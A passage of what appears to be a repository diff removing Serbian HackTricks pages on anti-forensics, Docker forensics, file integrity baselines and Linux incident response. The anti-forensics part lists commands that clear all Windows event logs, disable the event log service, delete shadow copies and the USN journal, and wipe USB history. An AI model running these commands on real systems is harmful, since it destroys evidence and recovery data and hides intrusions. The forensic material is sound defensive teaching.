Ponovo, u izlazu alata moguće je videti da su **neke promene izvršene**.
|
||||
|
||||
Korišćenjem istog alata moguće je identifikovati **na koji način su vremenske oznake modifikovane**:
|
||||
|
||||
.png>)
|
||||
|
||||
- CTIME: Vreme kreiranja datoteke
|
||||
- ATIME: Vreme modifikacije datoteke
|
||||
- MTIME: Modifikacija MFT registra datoteke
|
||||
- RTIME: Vreme pristupa datoteci
|
||||
|
||||
## Poređenje `$STANDARD_INFORMATION` i `$FILE_NAME`
|
||||
|
||||
Još jedan način da se identifikuju sumnjivo modifikovane datoteke bio bi da se uporede vremena na oba atributa tražeći **neusklađenosti**.
|
||||
|
||||
## Nanosekunde
|
||||
|
||||
**NTFS** vremenske oznake imaju **preciznost** od **100 nanosekundi**. Stoga, pronalaženje datoteka sa vremenskim oznakama poput 2010-10-10 10:10:**00.000:0000 je veoma sumnjivo**.
|
||||
|
||||
## SetMace - Anti-forenzički alat
|
||||
|
||||
Ovaj alat može modifikovati oba atributa `$STARNDAR_INFORMATION` i `$FILE_NAME`. Međutim, od Windows Vista, potrebno je da živi OS modifikuje ove informacije.
|
||||
|
||||
# Sakrivanje podataka
|
||||
|
||||
NFTS koristi klaster i minimalnu veličinu informacija. To znači da ako datoteka koristi i klaster i pola, **preostala polovina nikada neće biti korišćena** dok se datoteka ne obriše. Tada je moguće **sakriti podatke u ovom slobodnom prostoru**.
|
||||
|
||||
Postoje alati poput slacker koji omogućavaju sakrivanje podataka u ovom "skrivenom" prostoru. Međutim, analiza `$logfile` i `$usnjrnl` može pokazati da su neki podaci dodati:
|
||||
|
||||
.png>)
|
||||
|
||||
Tada je moguće povratiti slobodan prostor koristeći alate poput FTK Imager. Imajte na umu da ovaj tip alata može sačuvati sadržaj obfuskovan ili čak enkriptovan.
|
||||
|
||||
# UsbKill
|
||||
|
||||
Ovo je alat koji će **isključiti računar ako se otkrije bilo kakva promena na USB** portovima.\
|
||||
Jedan od načina da se to otkrije bio bi da se ispita pokrenuti procesi i **pregleda svaki python skript koji se izvršava**.
|
||||
|
||||
# Live Linux distribucije
|
||||
|
||||
Ove distribucije se **izvršavaju unutar RAM** memorije. Jedini način da ih otkrijete je **ako je NTFS datotečni sistem montiran sa dozvolama za pisanje**. Ako je montiran samo sa dozvolama za čitanje, neće biti moguće otkriti upad.
|
||||
|
||||
# Sigurno brisanje
|
||||
|
||||
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
|
||||
|
||||
# Windows konfiguracija
|
||||
|
||||
Moguće je onemogućiti nekoliko metoda beleženja u Windows-u kako bi se forenzička istraga učinila mnogo težom.
|
||||
|
||||
## Onemogući vremenske oznake - UserAssist
|
||||
|
||||
Ovo je ključ registra koji održava datume i sate kada je svaki izvršni program pokrenut od strane korisnika.
|
||||
|
||||
Onemogućavanje UserAssist zahteva dva koraka:
|
||||
|
||||
1. Postavite dva ključa registra, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` i `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, oba na nulu kako bismo signalizirali da želimo da onemogućimo UserAssist.
|
||||
2. Očistite svoje podključeve registra koji izgledaju kao `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
|
||||
|
||||
## Onemogući vremenske oznake - Prefetch
|
||||
|
||||
Ovo će sačuvati informacije o aplikacijama izvršenim sa ciljem poboljšanja performansi Windows sistema. Međutim, ovo može biti korisno i za forenzičke prakse.
|
||||
|
||||
- Izvršite `regedit`
|
||||
- Izaberite putanju datoteke `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||
- Desni klik na `EnablePrefetcher` i `EnableSuperfetch`
|
||||
- Izaberite Izmeni na svakom od ovih da promenite vrednost sa 1 (ili 3) na 0
|
||||
- Ponovo pokrenite
|
||||
|
||||
## Onemogući vremenske oznake - Vreme poslednjeg pristupa
|
||||
|
||||
Kad god se folder otvori sa NTFS volumena na Windows NT serveru, sistem uzima vreme da **ažurira polje vremenske oznake na svakom navedenom folderu**, koje se naziva vreme poslednjeg pristupa. Na NTFS volumenu koji se često koristi, ovo može uticati na performanse.
|
||||
|
||||
1. Otvorite Registry Editor (Regedit.exe).
|
||||
2. Pretražite do `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
3. Potražite `NtfsDisableLastAccessUpdate`. Ako ne postoji, dodajte ovaj DWORD i postavite njegovu vrednost na 1, što će onemogućiti proces.
|
||||
4. Zatvorite Registry Editor i ponovo pokrenite server.
|
||||
|
||||
## Obriši USB istoriju
|
||||
|
||||
Sve **USB Device Entries** se čuvaju u Windows Registry pod ključem **USBSTOR** koji sadrži podključeve koji se kreiraju svaki put kada priključite USB uređaj u svoj PC ili laptop. Možete pronaći ovaj ključ ovde `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Brisanjem ovog** obrišete USB istoriju.\
|
||||
Takođe možete koristiti alat [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) da biste bili sigurni da ste ih obrisali (i da ih obrišete).
|
||||
|
||||
Još jedna datoteka koja čuva informacije o USB-ima je datoteka `setupapi.dev.log` unutar `C:\Windows\INF`. Ova datoteka takođe treba da bude obrisana.
|
||||
|
||||
## Onemogući senčne kopije
|
||||
|
||||
**Lista** senčnih kopija sa `vssadmin list shadowstorage`\
|
||||
**Obrišite** ih pokretanjem `vssadmin delete shadow`
|
||||
|
||||
Takođe ih možete obrisati putem GUI prateći korake predložene u [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
||||
Da biste onemogućili senčne kopije [koraci odavde](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Otvorite program Services tako što ćete otkucati "services" u tekstualnu pretragu nakon što kliknete na dugme za pokretanje Windows-a.
|
||||
2. Iz liste pronađite "Volume Shadow Copy", izaberite ga, a zatim pristupite Svojstvima desnim klikom.
|
||||
3. Izaberite Onemogućeno iz padajućeg menija "Tip pokretanja", a zatim potvrdite promenu klikom na Primeni i U redu.
|
||||
|
||||
Takođe je moguće modifikovati konfiguraciju koje datoteke će biti kopirane u senčnu kopiju u registru `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
## Prepiši obrisane datoteke
|
||||
|
||||
- Možete koristiti **Windows alat**: `cipher /w:C` Ovo će označiti cipher da ukloni sve podatke iz dostupnog neiskorišćenog prostora na disku unutar C diska.
|
||||
- Takođe možete koristiti alate poput [**Eraser**](https://eraser.heidi.ie)
|
||||
|
||||
## Obriši Windows događaje
|
||||
|
||||
- Windows + R --> eventvwr.msc --> Proširite "Windows Logs" --> Desni klik na svaku kategoriju i izaberite "Clear Log"
|
||||
- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
## Onemogući Windows događaje
|
||||
|
||||
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
- Unutar sekcije servisa onemogućite servis "Windows Event Log"
|
||||
- `WEvtUtil.exec clear-log` ili `WEvtUtil.exe cl`
|
||||
|
||||
## Onemogući $UsnJrnl
|
||||
|
||||
- `fsutil usn deletejournal /d c:`
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,97 +0,0 @@
|
||||
# Docker Forensics
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Izmena kontejnera
|
||||
|
||||
Postoje sumnje da je neki docker kontejner kompromitovan:
|
||||
```bash
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||
```
|
||||
Možete lako **pronaći izmene koje su izvršene na ovom kontejneru u vezi sa slikom** pomoću:
|
||||
```bash
|
||||
docker diff wordpress
|
||||
C /var
|
||||
C /var/lib
|
||||
C /var/lib/mysql
|
||||
A /var/lib/mysql/ib_logfile0
|
||||
A /var/lib/mysql/ib_logfile1
|
||||
A /var/lib/mysql/ibdata1
|
||||
A /var/lib/mysql/mysql
|
||||
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
||||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
U prethodnoj komandi **C** znači **Promenjeno** i **A,** **Dodato**.\
|
||||
Ako otkrijete da je neki zanimljiv fajl poput `/etc/shadow` izmenjen, možete ga preuzeti iz kontejnera da proverite za malicioznu aktivnost sa:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
```
|
||||
Možete takođe **uporediti sa originalom** pokretanjem novog kontejnera i ekstrakcijom datoteke iz njega:
|
||||
```bash
|
||||
docker run -d lamp-wordpress
|
||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||
diff original_shadow shadow
|
||||
```
|
||||
Ako otkrijete da je **neki sumnjiv fajl dodat** možete pristupiti kontejneru i proveriti ga:
|
||||
```bash
|
||||
docker exec -it wordpress bash
|
||||
```
|
||||
## Izmene slika
|
||||
|
||||
Kada dobijete eksportovanu docker sliku (verovatno u `.tar` formatu), možete koristiti [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) da **izvučete sažetak izmena**:
|
||||
```bash
|
||||
docker save <image> > image.tar #Export the image to a .tar file
|
||||
container-diff analyze -t sizelayer image.tar
|
||||
container-diff analyze -t history image.tar
|
||||
container-diff analyze -t metadata image.tar
|
||||
```
|
||||
Zatim možete **dekompresovati** sliku i **pristupiti blobovima** da biste pretražili sumnjive datoteke koje ste možda pronašli u istoriji promena:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
```
|
||||
### Osnovna Analiza
|
||||
|
||||
Možete dobiti **osnovne informacije** iz slike pokretanjem:
|
||||
```bash
|
||||
docker inspect <image>
|
||||
```
|
||||
Možete takođe dobiti sažetak **istorije promena** sa:
|
||||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
Možete takođe generisati **dockerfile iz slike** sa:
|
||||
```bash
|
||||
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||
```
|
||||
### Dive
|
||||
|
||||
Da biste pronašli dodate/izmene datoteke u docker slikama, možete koristiti [**dive**](https://github.com/wagoodman/dive) (preuzmite ga sa [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) alata:
|
||||
```bash
|
||||
#First you need to load the image in your docker repo
|
||||
sudo docker load < image.tar 1 ⨯
|
||||
Loaded image: flask:latest
|
||||
|
||||
#And then open it with dive:
|
||||
sudo dive flask:latest
|
||||
```
|
||||
Ovo vam omogućava da **navigirate kroz različite blobove docker slika** i proverite koji su fajlovi modifikovani/dodati. **Crvena** označava dodato, a **žuta** označava modifikovano. Koristite **tab** za prelazak na drugi prikaz i **space** za skupljanje/otvaranje foldera.
|
||||
|
||||
Sa die nećete moći da pristupite sadržaju različitih faza slike. Da biste to uradili, moraćete da **dekompresujete svaki sloj i pristupite mu**.\
|
||||
Možete dekompresovati sve slojeve iz slike iz direktorijuma gde je slika dekompresovana izvršavanjem:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||
```
|
||||
## Kredencijali iz memorije
|
||||
|
||||
Napomena da kada pokrenete docker kontejner unutar hosta **možete videti procese koji se izvršavaju na kontejneru iz hosta** jednostavno pokretanjem `ps -ef`
|
||||
|
||||
Stoga (kao root) možete **izvršiti dump memorije procesa** iz hosta i pretraživati **kredencijale** jednostavno [**kao u sledećem primeru**](../../linux-hardening/privilege-escalation/index.html#process-memory).
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,26 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Osnovna linija
|
||||
|
||||
Osnovna linija se sastoji od pravljenja snimka određenih delova sistema kako bi se **uporedila sa budućim statusom radi isticanja promena**.
|
||||
|
||||
Na primer, možete izračunati i sačuvati hash svake datoteke u datotečnom sistemu kako biste mogli da saznate koje su datoteke modifikovane.\
|
||||
To se takođe može uraditi sa korisničkim nalozima koji su kreirani, procesima koji se izvršavaju, servisima koji se izvršavaju i bilo čim drugim što ne bi trebalo da se mnogo menja, ili uopšte.
|
||||
|
||||
## Praćenje integriteta datoteka
|
||||
|
||||
Praćenje integriteta datoteka (FIM) je kritična bezbednosna tehnika koja štiti IT okruženja i podatke praćenjem promena u datotekama. Uključuje dva ključna koraka:
|
||||
|
||||
1. **Uporedna analiza osnovne linije:** Uspostavite osnovnu liniju koristeći atribute datoteka ili kriptografske heš vrednosti (kao što su MD5 ili SHA-2) za buduće uporedbe radi otkrivanja modifikacija.
|
||||
2. **Obaveštavanje o promenama u realnom vremenu:** Dobijajte trenutna obaveštenja kada se datoteke pristupaju ili menjaju, obično putem ekstenzija jezgra OS-a.
|
||||
|
||||
## Alati
|
||||
|
||||
- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
||||
- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,370 +0,0 @@
|
||||
# Linux Forensics
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Početno prikupljanje informacija
|
||||
|
||||
### Osnovne informacije
|
||||
|
||||
Prvo, preporučuje se da imate neki **USB** sa **dobro poznatim binarnim datotekama i bibliotekama** (možete jednostavno preuzeti ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB i modifikujte env varijable da koristite te binarne datoteke:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Kada konfigurišete sistem da koristi dobre i poznate binarne datoteke, možete početi sa **ekstrakcijom osnovnih informacija**:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
|
||||
ps -ef #Running processes
|
||||
netstat -anp #Proccess and ports
|
||||
lsof -V #Open files
|
||||
netstat -rn; route #Routing table
|
||||
df; mount #Free space and mounted devices
|
||||
free #Meam and swap space
|
||||
w #Who is connected
|
||||
last -Faiwx #Logins
|
||||
lsmod #What is loaded
|
||||
cat /etc/passwd #Unexpected data?
|
||||
cat /etc/shadow #Unexpected data?
|
||||
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
|
||||
```
|
||||
#### Sumnjive informacije
|
||||
|
||||
Dok prikupljate osnovne informacije, trebali biste proveriti čudne stvari kao što su:
|
||||
|
||||
- **Root procesi** obično se pokreću sa niskim PIDS, pa ako pronađete root proces sa velikim PID-om, možete posumnjati
|
||||
- Proverite **registrovane prijave** korisnika bez shel-a unutar `/etc/passwd`
|
||||
- Proverite **hash-eve lozinke** unutar `/etc/shadow` za korisnike bez shel-a
|
||||
|
||||
### Dump memorije
|
||||
|
||||
Da biste dobili memoriju pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||
Da biste ga **kompajlirali**, morate koristiti **isti kernel** koji koristi žrtvinska mašina.
|
||||
|
||||
> [!NOTE]
|
||||
> Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na žrtvinskoj mašini jer će to napraviti nekoliko promena na njoj
|
||||
|
||||
Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\
|
||||
U drugim slučajevima, potrebno je preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa ispravnim kernel header-ima. Da biste **dobili tačne kernel header-e** žrtvinske mašine, možete jednostavno **kopirati direktorijum** `/lib/modules/<kernel version>` na vašu mašinu, a zatim **kompajlirati** LiME koristeći ih:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
```
|
||||
LiME podržava 3 **formata**:
|
||||
|
||||
- Raw (svaki segment spojен zajedno)
|
||||
- Padded (isto kao raw, ali sa nulama u desnim bitovima)
|
||||
- Lime (preporučeni format sa metapodacima)
|
||||
|
||||
LiME se takođe može koristiti za **slanje dump-a putem mreže** umesto da se čuva na sistemu koristeći nešto poput: `path=tcp:4444`
|
||||
|
||||
### Disk Imaging
|
||||
|
||||
#### Isključivanje
|
||||
|
||||
Prvo, potrebno je da **isključite sistem**. Ovo nije uvek opcija jer ponekad sistem može biti produkcijski server koji kompanija ne može priuštiti da isključi.\
|
||||
Postoje **2 načina** za isključivanje sistema, **normalno isključivanje** i **"isključi kabl" isključivanje**. Prvi će omogućiti da se **procesi završe kao obično** i da se **fajl sistem** **sinhronizuje**, ali će takođe omogućiti mogućem **malware-u** da **uništi dokaze**. Pristup "isključi kabl" može doneti **neke gubitke informacija** (neće se mnogo informacija izgubiti jer smo već uzeli sliku memorije) i **malware neće imati priliku** da uradi bilo šta povodom toga. Stoga, ako **sumnjate** da može biti **malware**, jednostavno izvršite **`sync`** **komandu** na sistemu i isključite kabl.
|
||||
|
||||
#### Uzimanje slike diska
|
||||
|
||||
Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim vezanim za slučaj**, morate biti sigurni da će biti **montiran kao samo za čitanje** kako biste izbegli modifikaciju bilo kojih informacija.
|
||||
```bash
|
||||
#Create a raw copy of the disk
|
||||
dd if=<subject device> of=<image file> bs=512
|
||||
|
||||
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
|
||||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### Disk Image pre-analysis
|
||||
|
||||
Imaging disk slike bez dodatnih podataka.
|
||||
```bash
|
||||
#Find out if it's a disk image using "file" command
|
||||
file disk.img
|
||||
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
|
||||
|
||||
#Check which type of disk image it's
|
||||
img_stat -t evidence.img
|
||||
raw
|
||||
#You can list supported types with
|
||||
img_stat -i list
|
||||
Supported image format types:
|
||||
raw (Single or split raw file (dd))
|
||||
aff (Advanced Forensic Format)
|
||||
afd (AFF Multiple File)
|
||||
afm (AFF with external metadata)
|
||||
afflib (All AFFLIB image formats (including beta ones))
|
||||
ewf (Expert Witness Format (EnCase))
|
||||
|
||||
#Data of the image
|
||||
fsstat -i raw -f ext4 disk.img
|
||||
FILE SYSTEM INFORMATION
|
||||
--------------------------------------------
|
||||
File System Type: Ext4
|
||||
Volume Name:
|
||||
Volume ID: 162850f203fd75afab4f1e4736a7e776
|
||||
|
||||
Last Written at: 2020-02-06 06:22:48 (UTC)
|
||||
Last Checked at: 2020-02-06 06:15:09 (UTC)
|
||||
|
||||
Last Mounted at: 2020-02-06 06:15:18 (UTC)
|
||||
Unmounted properly
|
||||
Last mounted on: /mnt/disk0
|
||||
|
||||
Source OS: Linux
|
||||
[...]
|
||||
|
||||
#ls inside the image
|
||||
fls -i raw -f ext4 disk.img
|
||||
d/d 11: lost+found
|
||||
d/d 12: Documents
|
||||
d/d 8193: folder1
|
||||
d/d 8194: folder2
|
||||
V/V 65537: $OrphanFiles
|
||||
|
||||
#ls inside folder
|
||||
fls -i raw -f ext4 disk.img 12
|
||||
r/r 16: secret.txt
|
||||
|
||||
#cat file inside image
|
||||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
## Pretraga poznatog Malware-a
|
||||
|
||||
### Izmenjeni sistemski fajlovi
|
||||
|
||||
Linux nudi alate za osiguranje integriteta sistemskih komponenti, što je ključno za uočavanje potencijalno problematičnih fajlova.
|
||||
|
||||
- **RedHat-bazirani sistemi**: Koristite `rpm -Va` za sveobuhvatnu proveru.
|
||||
- **Debian-bazirani sistemi**: `dpkg --verify` za inicijalnu verifikaciju, a zatim `debsums | grep -v "OK$"` (nakon instalacije `debsums` sa `apt-get install debsums`) za identifikaciju bilo kakvih problema.
|
||||
|
||||
### Malware/Rootkit detektori
|
||||
|
||||
Pročitajte sledeću stranicu da biste saznali o alatima koji mogu biti korisni za pronalaženje malware-a:
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## Pretraga instaliranih programa
|
||||
|
||||
Da biste efikasno pretražili instalirane programe na Debian i RedHat sistemima, razmotrite korišćenje sistemskih logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima.
|
||||
|
||||
- Za Debian, proverite _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_ da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje specifičnih informacija.
|
||||
- RedHat korisnici mogu upititi RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi prikazali instalirane pakete.
|
||||
|
||||
Da biste otkrili softver instaliran ručno ili van ovih menadžera paketa, istražite direktorijume kao što su _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, i _**`/sbin`**_. Kombinujte liste direktorijuma sa sistemskim komandama kako biste identifikovali izvršne fajlove koji nisu povezani sa poznatim paketima, čime poboljšavate pretragu za svim instaliranim programima.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
cat /var/log/dpkg.log | grep installed
|
||||
# RedHat RPM database query
|
||||
rpm -qa --root=/mntpath/var/lib/rpm
|
||||
# Listing directories for manual installations
|
||||
ls /usr/sbin /usr/bin /bin /sbin
|
||||
# Identifying non-package executables (Debian)
|
||||
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
|
||||
# Identifying non-package executables (RedHat)
|
||||
find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
## Oporavak Izbrisanih Pokrenutih Binarnih Fajlova
|
||||
|
||||
Zamislite proces koji je izvršen iz /tmp/exec i zatim obrisan. Moguće je da se izvuče.
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||
```
|
||||
## Inspekcija lokacija za automatsko pokretanje
|
||||
|
||||
### Zakazani zadaci
|
||||
```bash
|
||||
cat /var/spool/cron/crontabs/* \
|
||||
/var/spool/cron/atjobs \
|
||||
/var/spool/anacron \
|
||||
/etc/cron* \
|
||||
/etc/at* \
|
||||
/etc/anacrontab \
|
||||
/etc/incron.d/* \
|
||||
/var/spool/incron/* \
|
||||
|
||||
#MacOS
|
||||
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
|
||||
```
|
||||
### Usluge
|
||||
|
||||
Putanje gde se zlonamerni softver može instalirati kao usluga:
|
||||
|
||||
- **/etc/inittab**: Poziva skripte inicijalizacije kao što su rc.sysinit, usmeravajući dalje na skripte za pokretanje.
|
||||
- **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje usluga, pri čemu se potonja nalazi u starijim verzijama Linux-a.
|
||||
- **/etc/init.d/**: Koristi se u određenim verzijama Linux-a kao što je Debian za čuvanje skripti za pokretanje.
|
||||
- Usluge se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od varijante Linux-a.
|
||||
- **/etc/systemd/system**: Direktorijum za skripte menadžera sistema i usluga.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove do usluga koje treba pokrenuti u višekorisničkom režimu.
|
||||
- **/usr/local/etc/rc.d/**: Za prilagođene ili usluge trećih strana.
|
||||
- **\~/.config/autostart/**: Za automatske aplikacije specifične za korisnika, koje mogu biti skriveno mesto za zlonamerni softver usmeren na korisnike.
|
||||
- **/lib/systemd/system/**: Podrazumevane jedinice sistema koje obezbeđuju instalirani paketi.
|
||||
|
||||
### Kernel moduli
|
||||
|
||||
Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponenti rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke kritične za ove module uključuju:
|
||||
|
||||
- **/lib/modules/$(uname -r)**: Sadrži module za trenutnu verziju kernela.
|
||||
- **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula.
|
||||
- **/etc/modprobe** i **/etc/modprobe.conf**: Datoteke za globalne postavke modula.
|
||||
|
||||
### Druge lokacije za automatsko pokretanje
|
||||
|
||||
Linux koristi razne datoteke za automatsko izvršavanje programa prilikom prijavljivanja korisnika, potencijalno skrivajući zlonamerni softver:
|
||||
|
||||
- **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se za bilo koju prijavu korisnika.
|
||||
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, i **\~/.config/autostart**: Datoteke specifične za korisnika koje se pokreću prilikom njihove prijave.
|
||||
- **/etc/rc.local**: Izvršava se nakon što su sve sistemske usluge pokrenute, označavajući kraj prelaska na višekorisničko okruženje.
|
||||
|
||||
## Istraži logove
|
||||
|
||||
Linux sistemi prate aktivnosti korisnika i događaje sistema kroz razne log datoteke. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih bezbednosnih incidenata. Ključne log datoteke uključuju:
|
||||
|
||||
- **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Zabeležavaju poruke i aktivnosti širom sistema.
|
||||
- **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
|
||||
- Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih događaja autentifikacije.
|
||||
- **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
|
||||
- **/var/log/maillog** ili **/var/log/mail.log**: Logovi aktivnosti email servera, korisni za praćenje usluga vezanih za email.
|
||||
- **/var/log/kern.log**: Čuva poruke kernela, uključujući greške i upozorenja.
|
||||
- **/var/log/dmesg**: Sadrži poruke drajvera uređaja.
|
||||
- **/var/log/faillog**: Beleži neuspešne pokušaje prijave, pomažući u istragama bezbednosnih proboja.
|
||||
- **/var/log/cron**: Logovi izvršavanja cron poslova.
|
||||
- **/var/log/daemon.log**: Prati aktivnosti pozadinskih usluga.
|
||||
- **/var/log/btmp**: Dokumentuje neuspešne pokušaje prijave.
|
||||
- **/var/log/httpd/**: Sadrži Apache HTTPD greške i logove pristupa.
|
||||
- **/var/log/mysqld.log** ili **/var/log/mysql.log**: Logovi aktivnosti MySQL baze podataka.
|
||||
- **/var/log/xferlog**: Beleži FTP prenose datoteka.
|
||||
- **/var/log/**: Uvek proverite za neočekivane logove ovde.
|
||||
|
||||
> [!NOTE]
|
||||
> Linux sistemski logovi i audit pod-sistemi mogu biti onemogućeni ili obrisani tokom upada ili incidenta sa zlonamernim softverom. Pošto logovi na Linux sistemima obično sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom ispitivanja dostupnih log datoteka, važno je tražiti praznine ili neuredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
|
||||
|
||||
**Linux održava istoriju komandi za svakog korisnika**, koja se čuva u:
|
||||
|
||||
- \~/.bash_history
|
||||
- \~/.zsh_history
|
||||
- \~/.zsh_sessions/\*
|
||||
- \~/.python_history
|
||||
- \~/.\*\_history
|
||||
|
||||
Pored toga, komanda `last -Faiwx` pruža listu prijava korisnika. Proverite je za nepoznate ili neočekivane prijave.
|
||||
|
||||
Proverite datoteke koje mogu dodeliti dodatne privilegije:
|
||||
|
||||
- Pregledajte `/etc/sudoers` za neočekivane privilegije korisnika koje su možda dodeljene.
|
||||
- Pregledajte `/etc/sudoers.d/` za neočekivane privilegije korisnika koje su možda dodeljene.
|
||||
- Istražite `/etc/groups` da identifikujete bilo kakva neobična članstva u grupama ili dozvole.
|
||||
- Istražite `/etc/passwd` da identifikujete bilo kakva neobična članstva u grupama ili dozvole.
|
||||
|
||||
Neke aplikacije takođe generišu svoje logove:
|
||||
|
||||
